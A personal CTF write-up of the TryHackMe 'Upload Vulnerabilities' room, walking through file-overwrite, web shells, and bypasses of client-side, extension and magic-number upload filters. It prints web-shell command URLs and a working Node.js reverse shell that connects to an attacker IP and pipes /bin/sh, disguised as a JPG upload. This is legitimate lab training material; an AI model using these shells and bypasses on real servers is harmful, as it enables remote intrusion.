Upload Vulnerabilities TryHackMe Writeup

Christopher Fouad Jabbour
24 min readApr 18, 2023

--

This is my first and initial writeup on the Upload Vulnerabilitie THM room which gives an overview on basic file-upload vulnerabilities that can be found in websites.

A link to the TryHackMe room can be accessed here.

Method of connection

  • Browser-based Virtual Machine (VM) within TryHackMe known as an AttackBox to access the vulnerable virtual machine with the uploads vulnerablities

Terminology covered in Writeup

HOSTS file — a file on a computer used to map connections between IP addresses and domain names on a local DNS server. This is where and how we take IP addresses that are numbers and give them recognizable names.

Remote Code Execution (RCE) — A vulnerability that lets a attacker run malicious/arbitrary code in a programming language that developer wrote the application in, such as PHP as used in the hands-on practice for this writeup.

  • A type of attack that could occur with a file upload is with the use of a web shell script. This is where you use how the target server is configured and trick it into executing some code you sent it.

Web enumeration — A penetration testing technique that lists and identifies the users, networks, and resources (directories, files, etc.) associated with a target system and checking whether any of these entities introduce vulnerabilities.

Web shell — a piece of code that attackers send to web servers to give them remote access as an example by tricking the target web server into running the code within the webshell script.

Task 1: Getting Started

Task 1 goes over the changes we need to make to the hosts file before anytime we use the virtual machine for this room as the IP address will change every time the VM is terminated and a new one starts.

Fig 1: File Upload Vulnerablities VM started

I ran the virtual machine with uploads vulnerability (Fig 1.) and followed the steps I needed to do to add the IP address to the hosts file on my Linux AttackBox.

Step #1: open the hosts file in an editor

I used nano as my editor of choice

sudo nano /etc/hosts

Step #2 : Add the following line with File Uploads Vulns v2.1 VM’s IP address and the domain names to assign to it.

Example provided

<File_Upload_VM_IP_Addr> overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm

In my case, the line to add with my started up VM will be as follows:

10.10.214.92 overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm

Note: if this is your first-time using nano and pasting a really long line of text, it may seem like text was cut off and you see a $, but the text isn't cut off, it just hidden by the $ symbol and you can you use your arrow keys to traverse to the remaining part of your pasted text. There isn’t any word wrap functionality in use to show the whole line in one window.

After I added the following line to the hosts file, I clicked Ctrl + X to save the file and entered the letter Y then the enter key to confirm the file save.

Question #1: Configure your hosts file for the task, as per the instructions above.

No answer needed

Task 2: Introduction

This Task gives information on the following concepts below and just requires that we read and understand the material and click the complete button to move on to the next task.

Information covered

  • What file uploading is and distinct types of files that can be uploaded to a website or application by a user.
  • The types of vulnerabilities that can occur from improper handling of what files are uploaded

Some of the vulnerabilities covered in this room

  • Overwriting existing files on a server
  • Uploading and Executing Shells on a server (RCE)
  • Bypassing Client-Side filtering
  • Bypassing various kinds of Server-Side filtering
  • Fooling content type validation checks

Question 1#: Read and understand the above information.

No answer needed

Task 3: General Methodology

This section just gives more information on how to go about exploiting a file upload on a website and how to poke around and see what is and isnt allowed to be uploaded. I read the material, took note of the takeaways and moved on to the next task.

Question 1#: Read the General Methodology

No answer needed

Key takeaways

Web enumeration is how a pen-tester or attacker attempts to understand and learn about a target environment.

  • The detective work that is done to learn what can be done on a target environment.

There is a number of tools in that can be used, (e.g Burp Suite, Wappalyzer, OWASP Zap, GoBuster)

  • Understanding the fundamentals of why you use a tool and what they are just as important as well.

Task 4: Overwriting Existing Files

This task goes through the scenario of trying to upload a file with the same name as an existing file that is stored on an app’s server directory that holds uploaded files.

Two things can happen.

One, the upload will fail and you may need to upload the file under a different name. This can be due to the functionality of file permissions in place on an application. The second thing that can happen is the new file being uploaded will overwrite the existing file completely; given no precautions are in place to prevent this.

The following questions are more hands on and require accessing one of the domain names on the vulnerable machine’s IP address added in the hosts file from Task 1.

Question #1: What is the name of the image file which can be overwritten?

Step #1. Navigate to the domain overwrite.uploadvulns.thm in web browser

I entered the complete URL http://overwrite.uploadvulns.thm into my AttackBox’s web browser to get to home page

Step #2. Figure out the image file’s name within this domain name

This is crucial for figuring out what name of the image file to overwrite for the challenge

The first place I thought to look would be in the HTML source file of the home page. There is a background image on the home page as well so this might be the file I am looking for.

I right clicked on the white window containing the file upload form and selected the View Page Source option to view the HTML markup used on this page. Looking through the HTML source, I was able to find a name of the image file and answer, which was referenced in the /images/ directory path in the HTML source markup.

Question #2: Overwrite the image. What is the flag you receive?

The next step is to attempt overwriting the file by uploading a new image file with the same name as the file found.

Step #1. Setting up file

I looked around the web and saved the image that I will upload to my downloads folder as the same name as the image file found in the previous question.

Step #2. Uploading the file

Once my test file was named and ready, I went back to the home page and clicked the Select File button to select my test image file for upload. Once it was loaded, I clicked the Upload button on the upload form to upload the image.

After the upload was complete, I got a message returned in the upload form of the web page telling me the file overwriting was successful and I got the flag needed to solve this question.

Task 5: Remote Code Execution

This task goes over Remote Code Execution being done through the file upload vulnerability and how RCE is achieved using a webshell or reverse/bind shells.

I navigated to the http://shell.uploadvulns.thm to begin working on the hands-on questions

Screenshot referred to in Task 1, Question 1

Question #1: Run a Gobuster scan on the website using the syntax from the screenshot above. What directory looks like it might be used for uploads?

(N.B. This is a good habit to get into, and will serve you well in the upcoming tasks…)

Answering this question was straightforward.

We just need to take the Gobuster tool command from the screenshot and tweak it

gobuster dir -u http://shell.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

The above command will have gobuster run directory/file bruteforcing mode with the dir command

the url -u switch argument is set to http://shell.uploadvulns.thm uses

****gobuster command breakdown

Question #2: Get either a web shell or a reverse shell on the machine.
What’s the flag in the /var/www/ directory of the server?

For this question

Web Shell Approach

I used the command nano webshell.php to create a new file called webshell.php to act as the web shell to

I started with using the web shell approach using a simple PHP script that prints the output of the

I selected the Select File button and uploaded my webshell.php file to act as an example screenshotted below,

Afterwards, I entered the following command below into the browser to change directory and list what was within the /var/www directory path.

http://shell.uploadvulns.thm/resources/webshell.php?cmd=cd /var/www;ls -a;

I found the flag file as expected and proceeded to enter the following URL to cat the content that was in the flag.txt file http://shell.uploadvulns.thm/resources/webshell.php?cmd=cd /var/www;cat flag.txt

the equivalent URL-encoded version of the URL with the command parameter is below

http://shell.uploadvulns.thm/resources/webshell.php?cmd=cd%20/var/www;cat%20flag.txt

The result of the above command was two duplicate lines of the same flag when I submitted the command in the URL path cmd query parameter. I was able to get the flag I needed to complete this challenge from the output.

Task 6: Filtering

This task goes discusses the defense mechanisms used to prevent malicious file uploads used in secure web applications, and how to circumvent file vulnerabilities with filtering. The next two tasks will go more into the two types: client-side filtering and server-side filtering.

I read the content and proceeded to answer the questions.

Question #1: What is the traditionally predominant server-side scripting language?

PHP

Question #2: When validating by file extension, what would you call a list of accepted extensions (whereby the server rejects any extension not in the list)?

Whitelist

Question #3: [Research] What MIME type would you expect to see when uploading a CSV file?

text/csv

Task 7: Bypassing Client-Side Filtering

This task goes over four ways on how to bypass client-side upload filtering

The main focus will be on two ways:

  • Intercepting and modifying the requested webpage using a tool like Burp Suite for the file upload and stripping out the JavaScript filter before the webpage is loaded or has a chance to run.
  • Intercepting and modifying the file upload after the upload has been passed and accepted by the filter

I started up my Burp Suite application to configure it to intercept any external JavaScript files that the web page Burp Suite intercepts is loaded. We will need to go to the Options tab > Intercept Client Requests section and edit the condition of the first line by removing the ^js$| condition.

The pentest monkey reverse shell php file will be used as the reverse shell. I found a copy of the reverse shell script in the /usr/share/webshells/php directoy path of my AttackBox, the command to navigate there quickly cd /usr/share/webshells/php was also utilized to get to this directory quickly.

Once I created the copy, I proceeded to modify the values in the shell.php script to reflect my AttackBox IP address and port where my listener connection will be listening on my machine

I proceeded to start my netcat listener with the rlwrap to stabilize the reverse shell when we upload the php shell on the target server by doing the bypass steps in Burp Suite.

I proceeded to the http://java.uploadvulns.thm upload page to view the HTML source to see what external JavaScript files are coded for the client-side upload filtering. I noticed that script.js and client-side-filter.js were of interest and looked into the code logic for each of the files screenshotted below.

Screenshot of the assets/js/client-side-filter.js file code
Screenshot of the script.js file with the success and error function calls

Based on the logic in the client-side-filter.js file, it appears that if the file type of the upload is not image/png, the upload will fail and error out.

I started with running the following gobuster command to see what directories I can find for the domain name for this task

gobuster dir -u http://java.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

The assets directory usually contents files related to the web application like JS, HTML and CSS files. Based on the javascript logic for making sure the uploads are a type of png image format, the images directory path would be what I would use to access the shell.

Once I uploaded the file, the HTTP request to upload the reverse shell as a png file should be intercepted by the Burp Suite proxy. I proceeded to change the filename and Content-Type values from png to the php format to initiate the client-side bypass

Content-Disposition: form-data; name=”fileToUpload”; filename=”shell.php”
Content-Type: text/x-php

The file got uploaded and I proceeded to head to the /images directory path of the website to start the shell

At first I got a warning message and my netcat listener failed. I proceeded to start the netcat listener on my AttackBox again and was able to get in with a shell within my

Within the reverse shell, I proceeded to navigate to the var/www/ directory path and outputted the content within the flag.txt file to get the flag I needed to complete this challenge.

Client side filters are easy to bypass as we can intercept the web page requests and modify the payload file type as seen in the above steps.

Task 8: Bypassing Server-Side Filtering: File Extensions

This task gives an overview on server-side filtering that is done by checking a file extension’s format.

The hands on example to the task question will use a server-side filter as follows to check the filename extension of the upload. In real world scenarios. Figuring out if there is a type of file extension filter in place and what files the filter will reject and take will involve a bit of Black Box testing of different PHP file types and combinations to see if the filter works as expected or if there is a flaw in the code logic.

<?php
//Get the extension
$extension = pathinfo($_FILES[“fileToUpload”][“name”])[“extension”];
//Check the extension against the blacklist — .php and .phtml
switch($extension){
case “php”:
case “phtml”:
case NULL:
$uploadFail = True;
break;
default:
$uploadFail = False;
}
?>

Question #1: What is the flag in /var/www/?

I did an gobuster directory enumeration bruteforce to see if the directory path to the uploads sent to the annex.uploadvulns.thm site is able to be accessed

gobuster dir -u http://annex.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

I attempted to upload my shell as shell.php to test the filter and got the expected behavior.

After I copied the php-reverse-shell.php as shell.php. I proceeded to open the Sublime text editor and set the value of the IP Address and port to my AttackBox Linux VM’s to match my TCP listener that will be listening to receive the connection once the webshell is accessed on the target.

attempt with shell.php

The result is that it got rejected as well.

I attempted to try uploading the shell as shell.jpg.php

but also got invalid file name message.

I attempted to rename and use my shell file as shell.php5 to see if that will get past the server side filter. I got a successful file uploaded message with the php5 file extension.

Before I opening the shell.php5 web shell; I proceeded to start my netcat listener for port 443 setup on my AttackBox VM to be ready to catch and receive the reverse shell connection when the web shell upload is accessed.

Afterwards, I navigated to the /privacy/ URL path I found using GoBuster to brute force enumerate for all possible directory path names on the domain for this task*****. I clicked on my uploaded shell file hyperlink. After clicking, the privacy page was stuck loading as expected for a reverse shell behavior and I looked back at my started listening connection and got access to the target machine using the a reverse shell webshell technique. I proceeded to got to the /var/www/ directory path to look for the flag text file needed to complete this challenge.

Extra Note: For this hands on task. I encountered a weird not easy to replicate issue where despite selecting a file to upload, I would get the message: File must be chosen before being uploaded. Type “help” for syntax. To fix or resolve this issue, I had to restart my vulnerable machine VM and my AttackBox VM instances to resolve this issue on the annex.uploadvulns.thm site using the AttackBox method of connection.

Task 9: Bypassing Server-Side Filtering: Magic Numbers

This task goes over an example of the use of the implementation of magic number checking in a server-side filter.

The task explains as follows how

…it’s possible to use magic numbers to validate file uploads, simply by reading those first few bytes and comparing them against either a whitelist or a blacklist.

Knowing this, it’s possible to use magic numbers to validate file uploads, simply by reading those first few bytes and comparing them against either a whitelist or a blacklist. Bear in mind that this technique can be very effective against a PHP based webserver; however, it can sometimes fail against other types of webserver (hint hint).

A magic number in this context refers to a string of hex digits that is always the first thing in a file. Adding a magic number to a specific file with the use of a hexadecimal editor can possibly bypass the magic number filtering used in a server-side file upload filter to make a file look as if it is accepted file type to upload.

Question #1: Grab the flag from /var/www/

I proceeded to run gobuster to get the directory path URL I would need to access for the file upload. I got a URL path of /graphics/ found which I deduce to be the file upload directory to attempt to find my uploads with.

gobuster dir -u http://magic.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

I navigated to the website and proceeded to try to upload a example JPG file to see if it is a accepted format

The result was I received a message saying “GIFs only please!”. This told me that the JPG file was invalid and that GIF files are the file type that can be submitted for upload.

I proceeded to the following link for a list of file signatures for the GIF file format type.

I found two hex signatures for the gif extensions.

  • 47 49 46 38 37 61
  • 47 49 46 38 39 61

I would proceed with using the first listed hex signature option as the magic number to try.

After making the IP address and Port value changes on my reverse shell shell.php file copied from the pentest monkey reverse shell script; I ran the file command on the shell.php and saw what was expected, PHP script, ASCII text. I will changing the file type in the next steps

Then I added six random characters in my case, 6 “C”, to the first line of my reverse shell file PHP.

I installed ncurses-hex-edit on to my AttackBox VM instance

apt install ncurses-hexedit

to be able to view and manipulate the random six characters I added into the magic number hex to make my shell a GIF file type for the bypass.

I entered the following command to open the

hexeditor shell.php

I changed the 6 43hex values into the hex values for the GIF file format and saved the changes made.

When I run the file command on the shell.php script, I am now able to see the file type is a GIF image data

I went back to the file upload page and attempted to upload the shell.php file after making the magic number change.

The outcome was a successful file upload of the shell.php

After a successful upload, I proceeded to start my listener port listener on my Linux AttackBox

Then, in my web browser I entered the URL to get to the exact path of the shell.php in the graphics directory

After I submitted the link, I looked back at my netcat listener on my AttackBox and received the connection from the uploaded PHP script.

I then proceeded to navigate to the /www/var/ directory path in the shell and got the flag needed to complete this challenge

Task 10: Example Methodology

Task 10 gives an overview of example methodology process for verifying and testing for file upload vulnerabilities in a for a simulated real world scenario of web security auditing.

Steps summarized in example methodology

  1. Attempt to identify the website’s language and framework (e.g. using tools like Wappalyzer or by manually inspecting server headers with Burp Suite)
  2. Locate and access the upload page and inspect client side filters to attempt to bypass them.
  3. Do an innocent file upload to understand how uploaded files can be accessed and what the file naming scheme is.
  4. Attempt a malicious download bypassing any client-side filter and seeing if it is stopped by a server-side filter
  5. If an upload is stopped by a server-side filter, figure out the error message returned to determine the type of filter to learn how to bypass it.

There are no questions to answer except to read the material on this task and click the complete button to move on to the next task.

Task 11: Challenge

In this task, I am asked to use what I learned to get the flag on a machine in a black box testing scenario where we don’t know what is technologies are in use for the machine I will be pen-testing and trying to get access to.

a wordlist is given that contains a list of three character string combinations which I later found out to be how the files in the content directory are named to be used for finding any files I uploaded, I proceeded to copy the list content into another list file as per the listed instructions and steps I took to answer question #1.

Question #1: Hack the machine and grab the flag from /var/www/

I ran a gobuster scan to see what directory paths are in use for the target machine.

gobuster dir -u http://jewel.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

I proceeded to check the code of the Upload.js for the filter logic and installed Wappalyzer on my AttackBox as part of the information gathering phase. Based on my reconnaisance, The application is running on a NodeJS framework and Express JS is being used for the routing of HTTP requests and responses.

Also, there is a 3 logic filters in upload.js

  • Magic number or Hex representation checking for JPEG
  • A file size limit constraint
  • A check to see if the file extension is jpeg or jpg.

Once I got a successful upload, I took the wordlist document attached to the task and moved it to the /usr/share/wordlists/SecLists/ directory path

I proceed to use the following command to see if i can find and access the file I uploaded

gobuster dir -u http://jewel.uploadvulns.thm/content -w /usr/share/wordlists/SecLists/uploadvulnswordlist.txt -x jpg

I would eventually run into issues and lessons learned. The Pentest monkey Reverse shell webshell script I have been attempting to use only runs on webservers that can and run PHP, usually on an Apache for past cybersecurity challenges I have done mainly being able to execute PHP. The target machine is using a different web server as found in my reconaissance screenshots.

I learned that whenever this happens and I am able to identify the server, in this cause, NodeJS running with the Express module, I proceeded to do further research to look for another webshell script payload to use. I looked in this repository on GitHub and looked under the NodeJS section.

I created a new file and called it node-conch-shell.js and added the following code

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.11.203", function(){ // change to your AttackBox's Port number and IP address in the respective order
client. Pipe(sh.stdin);
client. Pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();

I turned on Burp Suite and made the necessary changes to allow JavaScript files to be intercepted by going to the “Options” tab at the top of the Burp suite window, then under the “Intercept Client Requests” section, editing the condition of the first line to remove ^js$|

I ran into an issue with client side filter testing which is with trying to get the body message and content of one file upload.js. I would only get a 304 message and just the headers and no message body which should have the code of the JavaScript file.

After I did research on this response code, I went into history tab under the hamburger tab and clear all of the recent history to fix this issue and get a 200 OK returned as well as the JavaScript code

I attempt to remove the filters from the intercepted request but didn't have any luck with uploading my JS webshell script. This tells me there is server-side scripting going on.

I attempted to switch my shell script’s file type to JPG, the file format accepted and expected to pass based on the web app’s filtering and tried to upload the file to see what happens next

The result is that the upload got accepted and bypassed the client and server side filters by returning a HTTP response of 200 OK.

Next, I ran the previous gobuster command to figure out what the new filename of the shell script.

Knowing that, I proceeded to the http://jewel.uploadvulns.thm/admin which acted as a way to activate modules or JS files. It took me a while to figure this out, but the input field takes a path of a file that is located somewhere in the backend directory route path of the NodeJS. So i proceeded to use ../content/TZH.jpg to specify going back a directory from the admin directory into presumably the content folder that has our JS script uploaded so it can be activated to receive a connect back connection on my AttackBox listener.

This tells us that our shell uploaded, seeing an error message is expected as the jpg was not exactly a jpg but is JS script in diguise

I proceeded to run my netcat listener on my side and tried to access the above file again under my content directory. I was able to receive a connection from the NodeJS reverse shell and access to the target machine to get the flag.

I received the connection and proceeded to use the necessary commands to get to the flag within the web application.

This concludes my hands-on and initial writeup of the Uploads Vulnerability room. If this helped you out, feel free to leave this a click.

This was definitely one of the tougher TryHackMe rooms which required some use of hints and to attack this room slowly to digest and learn the information and concepts. My knowledge and expsource to the What the Shell THM room help familiarize me with how Reverse Shells and web shells work and carry out remote code execution firsthand while doing the exercises.

I learned that file uploads are another way an attacker can try to attack and compromise the system they are targeting. HTTP headers can be dead giveaways of information that attackers can use to try to exploit a system’s file upload process if they are able to.

If there is any constructive feedback or something you want to see included, do not hesitate to reach out.

Thank you for reading and keep on learning,

-Chris Fouad Jabbour

References:

How to Modify and Manage the Hosts File on Linux (makeuseof.com)

What is the Purpose of /etc/hosts File in Linux (linuxhandbook.com)

What Is Enumeration In Hacking? — Cyber Security Blog (crashtest-security.com)

Gobuster Tutorial — How to Find Hidden Directories, Sub-Domains, and S3 Buckets (freecodecamp.org)

Web Shells 101 Using PHP (Web Shells Part 2) | Acunetix

List of file signatures on Wikipedia

windows 7 — Can sublime text be used as hex editor? — Super User

304 Not Modified — HTTP | MDN (mozilla.org)

--

--

Christopher Fouad Jabbour

Multilingual Syrian-American technologist from Pittsburgh PA with a love for comics and writing.